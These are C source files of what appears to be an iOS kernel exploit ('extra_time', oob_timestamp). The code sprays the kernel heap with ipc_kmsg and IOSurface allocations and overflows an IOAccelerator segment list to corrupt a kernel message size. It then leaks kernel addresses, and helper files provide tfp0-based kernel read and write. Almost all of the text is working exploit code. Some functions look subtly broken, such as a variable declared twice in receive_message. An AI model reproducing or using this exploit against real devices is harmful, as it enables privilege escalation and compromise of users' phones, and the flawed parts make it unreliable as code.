leak address of segment_list in oob_timestamp

exploit.c

//
//  exploit.c
//  extra_time
//
//  Created by Jake James on 2/8/20.
//  Copyright © 2020 Jake James. All rights reserved.
//

#include "exploit.h"
#include "IOAccelerator_stuff.h"
#include "exploit_utilities.h"
#include "kernel_memory.h"
#include "iosurface.h"
#include "kernel_alloc.h"

uint64_t kernel_slide;
uint64_t proc_of_pid(int pid) {
    uint64_t proc = rk64(0xfffffff007766b60 + kernel_slide);
    while (proc) {
        int p = rk32(proc + 0x68);
        if (pid == p) return proc;
        proc = rk64(proc + 8);
    }
    return 0;
}

uint64_t find_port_address(mach_port_t port) {
    uint64_t proc = proc_of_pid(getpid());
    uint64_t task = rk64(proc + 0x10);
    uint64_t itk_space = rk64(task + 0x320);
    uint64_t is_table = rk64(itk_space + 0x20);
    uint64_t port_addr = rk64(is_table + (port >> 8) * 0x18);
    return port_addr;
}

void list_messages_in_port(mach_port_t port) {
    if (!port) return;
    uint64_t port_addr = find_port_address(port);
    if (!port_addr) return;

    uint64_t kmsg = rk64(port_addr + 0x40);
    if (kmsg) {
        printf("[i] Found message: 0x%llx\n", kmsg);
    }
    else {
        return;
    }
    
    uint64_t old_kmsg = kmsg;
    kmsg = rk64(kmsg + 8);
    
    while (kmsg != old_kmsg) {
        printf("[i] Found message: 0x%llx\n", kmsg);
        kmsg = rk64(kmsg + 8);
    }
}

uint64_t get_latest_message(mach_port_t port) {
    if (!port) return 0;
    uint64_t port_addr = find_port_address(port);
    if (!port_addr) return 0;

    uint64_t kmsg = rk64(port_addr + 0x40);
    if (!kmsg) {
        return 0;
    }
    
    return rk64(kmsg + 16);
}

struct simple_kmsg *read_kmsg(uint64_t kmsg) {
    if (!kmsg) return 0;
    uint64_t ikm_header = rk64(kmsg + 24);
    if (!ikm_header) return 0;
    
    mach_msg_size_t msg_size = rk32(kmsg + offsetof(kern_mach_msg_header_t, msgh_size));
    struct simple_kmsg *msg = malloc(msg_size);
    kread(ikm_header, msg, msg_size);
    
    return msg;
}

// finds kernel address of a shared memory buffer created using IOAccelerator based on shmem_id
uint64_t addr_for_shmem_id(uint32_t id) {
    uint64_t IOAccelCommandQueue2_port_addr = find_port_address(IOAccelCommandQueue2);
    uint64_t IOAccelCommandQueue2_addr = rk64(IOAccelCommandQueue2_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint64_t IOAccelShared2_addr = rk64(IOAccelCommandQueue2_addr + 1464);
    uint64_t IOAccelNamespace_addr = rk64(IOAccelShared2_addr + 136);
    uint64_t addr = rk64(rk64(IOAccelNamespace_addr + 16) + 8 * id);
    uint64_t smth = rk64(addr + 48);
    uint64_t data = smth ? rk64(smth + 40) : 0;
    return data;
}

// get all_properties property from an IOSurfaceRootUserClient mach port. this is an OSDictionary * where all properties are set using setValue
uint64_t get_all_properties(mach_port_t IOSurfaceRootUserClient) {
    uint64_t IOSRUC_port_addr = find_port_address(IOSurfaceRootUserClient); // struct ipc_port *
    uint64_t IOSRUC_addr = rk64(IOSRUC_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // IOSurfaceRootUserClient *
    uint64_t IOSC_addr = rk64(rk64(IOSRUC_addr + 280) + 8 * IOSurface_id); // IOSurfaceClient *
    uint64_t IOSurface_addr = rk64(IOSC_addr + 64); // IOSurface *
    uint64_t all_properties = rk64(IOSurface_addr + 232); // OSDictionary *
    return all_properties;
}

uint64_t OSDictionary_objectForKey(uint64_t dict, char *key) {
    uint64_t dict_buffer = rk64(dict + 32); // void *
    
    int i = 0;
    uint64_t key_sym = 0;
    do {
        key_sym = rk64(dict_buffer + i); // OSSymbol *
        uint64_t key_buffer = rk64(key_sym + 16); // char *
        if (!kstrcmp_u(key_buffer, key)) {
            return rk64(dict_buffer + i + 8);
        }
        i += 16;
    }
    while (key_sym);
    
    return 0;
}

uint64_t OSArray_objectAtIndex(uint64_t array, int idx) {
    uint64_t array_buffer = rk64(array + 32); // void *
    return rk64(array_buffer + idx * 8);
}

uint64_t address_of_property_key(mach_port_t IOSurfaceRootUserClient, uint32_t key) {
    uint64_t all_properties = get_all_properties(IOSurfaceRootUserClient);
    char *skey = malloc(5);
    memcpy(skey, &key, 4);
    uint64_t value = OSDictionary_objectForKey(all_properties, skey);
    free(skey);
    return value;
}

bool IOSurface_get_value(const struct IOSurfaceValueArgs *in, size_t in_size, struct IOSurfaceValueArgs *out, size_t *out_size);
bool IOSurface_set_value(const struct IOSurfaceValueArgs *args, size_t args_size);
extern mach_port_t IOSurfaceRootUserClient;

#define DEBUG 0

int get_tfp0() {
    kern_return_t kr;
     
    mach_port_t tfp0;
    kr = host_get_special_port(mach_host_self(), HOST_LOCAL_NODE, 4, &tfp0);
    if (!kr) {
        printf("[+] Got cached tfp0: 0x%x\n", tfp0);
        init_kernel_memory(tfp0);
         
        struct task_dyld_info info;
        mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
        task_info(tfp0, TASK_DYLD_INFO, (task_info_t) &info, &count);
        kernel_slide = info.all_image_info_size;
    }
    // else return 0;

#define MB 1024 * 1024
     
    offsets_init();
    init_IOSurface();
    init_IOAccelerator();
    
    // prepare things like bazad
    struct holding_port_array holding_ports = holding_ports_create(200);

    struct ipc_kmsg_kalloc_fragmentation_spray fragmentation_spray;
    ipc_kmsg_kalloc_fragmentation_spray_(&fragmentation_spray,
            7 * pagesize,        // 7-page kalloc allocations
            120 * MB,        // 120 MB total spray
            10 * MB,        // 10 MB per port
            &holding_ports);
    
    ipc_kmsg_kalloc_fragmentation_spray_fragment_memory_(&fragmentation_spray, 30 * MB, +1);
    ipc_kmsg_kalloc_fragmentation_spray_fragment_memory_(&fragmentation_spray, 30 * MB, -1);
    
    struct ipc_kmsg_kalloc_spray kalloc_8page_spray;
    ipc_kmsg_kalloc_spray_(&kalloc_8page_spray,
            NULL,            // Zero-fill the message data.
            8 * pagesize,        // 8-page kalloc allocations.
            200 * MB,        // 200 MB total spray.
            0,            // Max spray size per port.
            &holding_ports);
    
    uint32_t iosurface_property = 0;
    uint32_t huge_kalloc_key = IOSurface_property_key(iosurface_property++);
    bool ok = IOSurface_kalloc_fast(huge_kalloc_key, 82 * MB);
    // check ...
    
#if DEBUG
    uint64_t huge_kalloc_addr = address_of_property_key(IOSurfaceRootUserClient, huge_kalloc_key);
    printf("[i] huge_kalloc: 0x%llx\n", huge_kalloc_addr);
#endif
    
    // setup vuln
    struct IOAccelDeviceShmemData cmdbuf, seglist;
    alloc_shmem(96 * MB, &cmdbuf, &seglist);
    
#if DEBUG
    uint64_t seglist_addr = addr_for_shmem_id(seglist.shmem_id);
    uint64_t cmdbuf_addr = addr_for_shmem_id(cmdbuf.shmem_id);
    
    printf("[i] Segment list: 0x%llx\n", seglist_addr);
    printf("[i] Command buffer: 0x%llx\n", cmdbuf_addr);
#endif
    
    // now:
    // ------------------+------------------+------------------+----------------
    //     huge kalloc   |   segment list   |  command buffer  |
    // ------------------+------------------+------------------+----------------
    //
    
    // the mach message that will be corrupted
    mach_port_t corrupted_kmsg_port = holding_port_pop(&holding_ports);
    void *data = malloc(8 * pagesize);
    memset(data, 0, 8 * pagesize);
    send_message(corrupted_kmsg_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));
    
#if DEBUG
    uint64_t corrupted_message = get_latest_message(corrupted_kmsg_port);
    printf("[i] ipc_kmsg: 0x%llx\n", corrupted_message);
#endif
    
    // now:
    // ------------------+------------------+------------------+-----------------+-----------
    //     huge kalloc   |   segment list   |  command buffer  | struct ipc_kmsg |
    // ------------------+------------------+------------------+-----------------+-----------
    //
    
    mach_port_t placeholder_message_port = holding_port_pop(&holding_ports);
    send_message(placeholder_message_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));

#if DEBUG
    uint64_t placeholder_message = get_latest_message(placeholder_message_port);
    printf("[i] ipc_kmsg 2: 0x%llx\n", placeholder_message);
#endif
    
    // now:
    // ------------------+------------------+------------------+-----------------+-------------------
    //     huge kalloc   |   segment list   |  command buffer  | struct ipc_kmsg | struct ipc_kmsg 2
    // ------------------+------------------+------------------+-----------------+-------------------
    //
    
    void *spray_buffer = ((uint8_t *) cmdbuf.data) + pagesize;
    size_t spray_size = 96 * MB - pagesize;
    
    IOSurface_remove_property(huge_kalloc_key);
    
    // now:
    // ------------+------------------+------------------+-----------------+-------------------
    //     free    |   segment list   |  command buffer  | struct ipc_kmsg | struct ipc_kmsg 2
    // ------------+------------------+------------------+-----------------+-------------------
    //
    
    uint32_t kfree_buffer_key = IOSurface_property_key(iosurface_property++);
    ok = IOSurface_kmem_alloc_array_fast_prepare_(8 * pagesize, 80 * MB, spray_buffer, &spray_size,
    ^(void *data, size_t index) {
        *(uint64_t *)(data) = 0x4141414100000000 + index;
    });
    ok = IOSurface_kmem_alloc_array_fast(kfree_buffer_key, spray_buffer, spray_size);
    
    mach_port_destroy(mach_task_self(), placeholder_message_port);
    
    // now:
    // +------------------+------------------+-----------------+--------+---------------+
    // |   segment list   |  command buffer  | struct ipc_kmsg |  free  | 0x41414141... |
    // +------------------+------------------+-----------------+--------+---------------+
    //
    
    uint32_t spray_key = IOSurface_property_key(iosurface_property++);
    ok = IOSurface_kmem_alloc_array_fast_prepare_(8 * pagesize, 80 * MB, spray_buffer, &spray_size,
   ^(void *data, size_t index) {
        *(uint64_t *)(data) = 0x1337133700000000 + index;
    });
    ok = IOSurface_kmem_alloc_array_fast(spray_key, spray_buffer, spray_size);

    // now:
    // +------------------+------------------+-----------------+---------------+--------------
    // |   segment list   |  command buffer  | struct ipc_kmsg | 0x13371337... | 0x41414141...
    // +------------------+------------------+-----------------+---------------+--------------
    //

#if DEBUG
    printf("[i] sprayed: 0x%llx\n", rk64(placeholder_message));
#endif
    
    size_t (^compute_overflow_size_for_timestamp)(uint64_t) = ^size_t(uint64_t ts) {
        if (0x000000000003ffa8 < ts && ts <= 0x0000000003ffa8ff) {
            return 8;
        }
        if (0x0000000003ffa8ff < ts && ts <= 0x00000003ffa8ffff) {
            return 7;
        }
        if (0x00000003ffa8ffff < ts && ts <= 0x000003ffa8ffffff) {
            return 6;
        }
        if (0x000003ffa8ffffff < ts && ts <= 0x0003ffa8ffffffff) {
            return 5;
        }
        if (0x0003ffa8ffffffff < ts && ts <= 0x03ffa8ffffffffff) {
            return 4;
        }
        if (0x03ffa8ffffffffff < ts && ts <= 0xfffffffffffeffff) {
            return 3;
        }
        assert(ts <= 0x000000000003ffa8 || ts > 0xfffffffffffeffff);
        return 0;
    };
        
    bool (^check_overflow_size_for_timestamp)(uint64_t, size_t) = ^bool(uint64_t ts, size_t overflow_size) {
        assert(3 <= overflow_size && overflow_size <= 8);
        uint32_t ipc_kmsg_size = (uint32_t) (ts >> (8 * (8 - overflow_size)));
        assert(0x0003ffa9 <= ipc_kmsg_size);
        return (0x0003ffa9 <= ipc_kmsg_size && ipc_kmsg_size <= 0x0400a8ff);
    };
        
    size_t overflow_size = 0;
retry_overflow:
    overflow_size = compute_overflow_size_for_timestamp(mach_absolute_time());
    if (overflow_size == 0) {
        sleep(1);
        goto retry_overflow;
    }
    
    overflow_n_bytes(96 * MB, (int)overflow_size, &cmdbuf, &seglist);
    ok = check_overflow_size_for_timestamp(mach_absolute_time(), overflow_size);
    if (!ok) {
        printf("[-] Retrying corruption...\n");
        goto retry_overflow;
    }
    printf("[+] Corrupted ipc_kmsg ikm_size\n");
    
    mach_port_destroy(mach_task_self(), corrupted_kmsg_port);
    corrupted_kmsg_port = holding_port_pop(&holding_ports);
    
    printf("[+] Freed kmsg\n");
    
    for (int i = 0; i < 1000; i++) {
        send_message(corrupted_kmsg_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));
    }
    
#if DEBUG
    printf("[i] sprayed: 0x%llx\n", rk64(placeholder_message));
#endif
    
    struct {
        uint32_t surface_id;
        uint32_t field_4;
        uint32_t key;
    } *in = malloc(12);
    in->surface_id = IOSurface_id;
    in->key = spray_key;
    
    size_t out_size = spray_size;
    IOSurface_get_value((struct IOSurfaceValueArgs *)in, 12, spray_buffer, &out_size);
    
    uint32_t ikm_size = 0x1ffa8;
    void *ipc_kmsg = memmem(spray_buffer, out_size, &ikm_size, sizeof(ikm_size));
    uint64_t ikm_header = *(uint64_t*)(ipc_kmsg + 24);
    
    printf("[+] ikm_header leak: 0x%llx\n", ikm_header);
    printf("[+] Segment list calculated to be at: 0x%llx\n", ikm_header - 0xc028028);
    return 0;
}

exploit_utilities.c

//
//  exploit_utilities.c
//  sock_port
//
//  Created by Jake James on 7/17/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#include "exploit_utilities.h"

// from Ian Beer. make a kernel allocation with the kernel address of 'target_port', 'count' times
mach_port_t fill_kalloc_with_port_pointer(mach_port_t target_port, int count, int disposition) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return 0;
    }
    
    mach_port_t* ports = malloc(sizeof(mach_port_t) * count);
    for (int i = 0; i < count; i++) {
        ports[i] = target_port;
    }
    
    struct ool_msg* msg = (struct ool_msg*)calloc(1, sizeof(struct ool_msg));
    
    msg->hdr.msgh_bits = MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = (mach_msg_size_t)sizeof(struct ool_msg);
    msg->hdr.msgh_remote_port = q;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_id = 0x41414141;
    
    msg->body.msgh_descriptor_count = 1;
    
    msg->ool_ports.address = ports;
    msg->ool_ports.count = count;
    msg->ool_ports.deallocate = 0;
    msg->ool_ports.disposition = disposition;
    msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
    msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
    
    err = mach_msg(&msg->hdr,
                   MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                   msg->hdr.msgh_size,
                   0,
                   MACH_PORT_NULL,
                   MACH_MSG_TIMEOUT_NONE,
                   MACH_PORT_NULL);
    
    if (err != KERN_SUCCESS) {
        printf("[-] failed to send message: %s\n", mach_error_string(err));
        return MACH_PORT_NULL;
    }
    
    return q;
}


mach_port_t new_mach_port() {
    mach_port_t port = MACH_PORT_NULL;
    kern_return_t ret = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    if (ret) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
    if (ret) {
        printf("[-] failed to insert right\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    ret = mach_port_set_attributes(mach_task_self(), port, MACH_PORT_LIMITS_INFO, (mach_port_info_t)&limits, MACH_PORT_LIMITS_INFO_COUNT);
    if (ret) {
        printf("[-] failed to increase queue limit\n");
        mach_port_destroy(mach_task_self(), port);
        return MACH_PORT_NULL;
    }
    
    return port;
}

kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    
    memset(msg, 0, sizeof(struct simple_msg));
    
    msg->hdr.msgh_remote_port = destination;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = msg_size;
    
    memcpy(&msg->buf[0], buffer, size);
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to send message\n");
        mach_port_destroy(mach_task_self(), destination);
        free(msg);
        return ret;
    }
    free(msg);
    return KERN_SUCCESS;
}

struct simple_msg* receive_message(mach_port_t source, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    memset(msg, 0, sizeof(struct simple_msg));
    
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_RCV_MSG, 0, msg_size, source, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to receive message\n");
        return NULL;
    }
    
    return msg;
}

// Ian Beer
size_t message_size_for_kalloc_size(size_t kalloc_size) {
    return ((3 * kalloc_size) / 4) - 0x74;
}

// Ian Beer
mach_port_t send_kalloc_message(uint8_t *replacer_message_body, uint32_t replacer_body_size) {
    mach_port_t q = MACH_PORT_NULL;
    kern_return_t err;
    err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &q);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to allocate port\n");
        return MACH_PORT_NULL;
    }
    
    mach_port_limits_t limits = {0};
    limits.mpl_qlimit = MACH_PORT_QLIMIT_LARGE;
    err = mach_port_set_attributes(mach_task_self(),
                                   q,
                                   MACH_PORT_LIMITS_INFO,
                                   (mach_port_info_t)&limits,
                                   MACH_PORT_LIMITS_INFO_COUNT);
    if (err != KERN_SUCCESS) {
        printf("[-] failed to increase queue limit\n");
        return MACH_PORT_NULL;
    }
    
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + replacer_body_size;
    struct simple_msg *msg = (struct simple_msg *)malloc(msg_size);
    memset(msg, 0, sizeof(struct simple_msg));
    memcpy(&msg->buf[0], replacer_message_body, replacer_body_size);
    
    for (int i = 0; i < 256; i++) {
        msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
        msg->hdr.msgh_size = msg_size;
        msg->hdr.msgh_remote_port = q;
        msg->hdr.msgh_local_port = MACH_PORT_NULL;
        msg->hdr.msgh_id = 0x41414142;
        
        err = mach_msg(&msg->hdr,
                       MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
                       msg_size,
                       0,
                       MACH_PORT_NULL,
                       MACH_MSG_TIMEOUT_NONE,
                       MACH_PORT_NULL);
        
        if (err != KERN_SUCCESS) {
            printf("[-] failed to send message %x (%d): %s\n", err, i, mach_error_string(err));
            return MACH_PORT_NULL;
        }
    }
    
    return q;
}

// rest is from machswap
void trigger_gc() {
    const int gc_ports_cnt = 100;
    int gc_ports_max = gc_ports_cnt;
    mach_port_t gc_ports[gc_ports_cnt] = { 0 };
    
    uint32_t body_size = (uint32_t)message_size_for_kalloc_size(16384) - sizeof(mach_msg_header_t); // 1024
    uint8_t *body = (uint8_t*)malloc(body_size);
    memset(body, 0x41, body_size);
    
    for (int i = 0; i < gc_ports_cnt; i++) {
        uint64_t t0, t1;
        
        t0 = mach_absolute_time();
        gc_ports[i] = send_kalloc_message(body, body_size);
        t1 = mach_absolute_time();
        
        if (t1 - t0 > 1000000) {
            printf("[+] got gc at %d -- breaking\n", i);
            gc_ports_max = i;
            break;
        }
    }
    
    for (int i = 0; i < gc_ports_max; i++) {
        mach_port_destroy(mach_task_self(), gc_ports[i]);
    }
    
    sched_yield();
    sleep(1);
}

mach_vm_size_t pagesize = 0;

const uint64_t IOSURFACE_CREATE_SURFACE =  0;
const uint64_t IOSURFACE_SET_VALUE      =  9;
const uint64_t IOSURFACE_GET_VALUE      = 10;
const uint64_t IOSURFACE_DELETE_VALUE   = 11;

int init_IOSurface() {
    kern_return_t ret = KERN_SUCCESS;

    ret = _host_page_size(mach_host_self(), (vm_size_t*)&pagesize);
    printf("[i] page size: 0x%llx, %s\n", pagesize, mach_error_string(ret));
    if (ret != KERN_SUCCESS) {
        printf("[-] failed to get page size! ret: %x %s\n", ret, mach_error_string(ret));
        return ret;
    }
    return !IOSurface_init();
}

void deinit_IOSurface() {
    IOSurface_deinit();
}

kernel_memory.c

//
//  kernel_memory.c
//  sock_port
//
//  Created by Jake James on 7/18/19.
//  Copyright © 2019 Jake James. All rights reserved.
//

#include "kernel_memory.h"

static mach_port_t tfpzero;

void init_kernel_memory(mach_port_t tfp0) {
    tfpzero = tfp0;
}

uint64_t kalloc(vm_size_t size) {
    mach_vm_address_t address = 0;
    mach_vm_allocate(tfpzero, (mach_vm_address_t *)&address, size, VM_FLAGS_ANYWHERE);
    return address;
}

void kfree(mach_vm_address_t address, vm_size_t size) {
    mach_vm_deallocate(tfpzero, address, size);
}

size_t kread(uint64_t where, void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        mach_vm_size_t sz, chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_read_overwrite(tfpzero, where + offset, chunk, (mach_vm_address_t)p + offset, &sz);
        if (rv || sz == 0) {
            printf("[-] error on kread(0x%016llx)\n", where);
            break;
        }
        offset += sz;
    }
    return offset;
}

uint32_t rk32(uint64_t where) {
    uint32_t out;
    kread(where, &out, sizeof(uint32_t));
    return out;
}

uint64_t rk64(uint64_t where) {
    uint64_t out;
    kread(where, &out, sizeof(uint64_t));
    return out;
}

size_t kwrite(uint64_t where, const void *p, size_t size) {
    int rv;
    size_t offset = 0;
    while (offset < size) {
        size_t chunk = 2048;
        if (chunk > size - offset) {
            chunk = size - offset;
        }
        rv = mach_vm_write(tfpzero, where + offset, (mach_vm_offset_t)p + offset, (int)chunk);
        if (rv) {
            printf("[-] error on kwrite(0x%016llx)\n", where);
            break;
        }
        offset += chunk;
    }
    return offset;
}

void wk32(uint64_t where, uint32_t what) {
    uint32_t _what = what;
    kwrite(where, &_what, sizeof(uint32_t));
}


void wk64(uint64_t where, uint64_t what) {
    uint64_t _what = what;
    kwrite(where, &_what, sizeof(uint64_t));
}

unsigned long kstrlen(uint64_t string) {
    if (!string) return 0;
    
    unsigned long len = 0;
    char ch = 0;
    int i = 0;
    while (true) {
        kread(string + i, &ch, 1);
        if (!ch) break;
        len++;
        i++;
    }
    return len;
}

int kstrcmp(uint64_t string1, uint64_t string2) {
    unsigned long len1 = kstrlen(string1);
    unsigned long len2 = kstrlen(string2);
    
    char *s1 = malloc(len1);
    char *s2 = malloc(len2);
    kread(string1, s1, len1);
    kread(string2, s2, len2);
    
    int ret = strcmp(s1, s2);
    free(s1);
    free(s2);
    
    return ret;
}

int kstrcmp_u(uint64_t string1, char *string2) {
    unsigned long len1 = kstrlen(string1);
    
    char *s1 = malloc(len1);
    kread(string1, s1, len1);
 
    int ret = strcmp(s1, string2);
    free(s1);
    
    return ret;
}

uint64_t find_port(mach_port_name_t port, uint64_t task_self) {
    uint64_t task_addr = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    uint64_t itk_space = rk64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
    uint64_t is_table = rk64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
    
    uint32_t port_index = port >> 8;
    const int sizeof_ipc_entry_t = 0x18;
    
    uint64_t port_addr = rk64(is_table + (port_index * sizeof_ipc_entry_t));
    
    return port_addr;
}